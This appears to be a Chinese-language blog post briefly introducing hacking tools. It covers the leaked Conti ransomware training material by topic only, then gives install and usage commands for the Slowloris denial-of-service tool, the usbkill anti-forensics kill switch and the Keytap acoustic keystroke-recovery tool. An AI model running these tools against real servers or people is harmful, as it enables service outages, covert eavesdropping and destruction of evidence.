Conti是个勒索软件团伙,以瞄准大型组织、使用复杂战术规避检测和最大化攻击影响而臭名昭著。
Conti曾制造过多起引人注目的勒索软件攻击,包括针对佛罗里达州彭萨科拉市政府计算机系统和爱尔兰卫生服务计算机系统的攻击。
Conti渗透测试指南泄漏 - 仓库包含了泄露给Conti勒索软件附属组织的渗透测试资料。
主题包括:
- 配置Rclone连接MEGA进行数据外传
- 配置AnyDesk作为持久化和远程访问受害者网络的手段
- 在已沦陷的公司网络中提权获取管理员权限
- 拿下域控制器
- 从Active Directory导出密码
注意: vx-underground.org 获取了更多Conti勒索软件运营者使用的培训材料和工具,见这里。

SlowLoris
Slowloris是一种DoS攻击,通过发送HTTP请求消耗Web服务器资源,使其无法处理正常请求。
这种攻击通常通过僵尸网络执行,其设计意图就是难以检测和缓解——它使用的连接数相对较少,不会产生大量流量。
安装(Pip):
sudo pip3 install slowloris安装(Git):
git clone https://github.com/gkbrk/slowloris.git
cd slowloris使用方法:
# Pip
slowloris example.comr
# Git
python3 slowloris.py example.com
usbkill
反取证自毁开关——监控USB端口状态变化,一旦检测到变化立刻关机。
在某些情况下,必须确保没有任何数据通过USB进出终端设备。
这时候USBkill就派上用场了。
安装:
git clone https://github.com/hephaest0s/usbkill
cd usbkill
./setup.py install使用方法:
sudo python3 usbkill.py
Keytap
这个工具能通过电脑麦克风录下的音频猜出敲了哪些键盘按键。
Keytap2也能从键盘敲击音频片段中还原出文字。
安装(编译):
git clone https://github.com/ggerganov/kbd-audio
cd kbd-audio
git submodule update --init
mkdir build && cd build
cmake ..
make使用方法:
# 将音频录制为磁盘上的原始二进制文件
./record-full output.kbd [-cN]
# 播放通过record-full工具捕获的录音
./play-full input.kbd [-pN]
# 仅在键入时录制音频(用于收集keytap训练数据)
./record output.kbd [-cN] [-CN]完整用法文档见这里。
在线试用:https://keytap.ggerganov.com/。

评论 (0)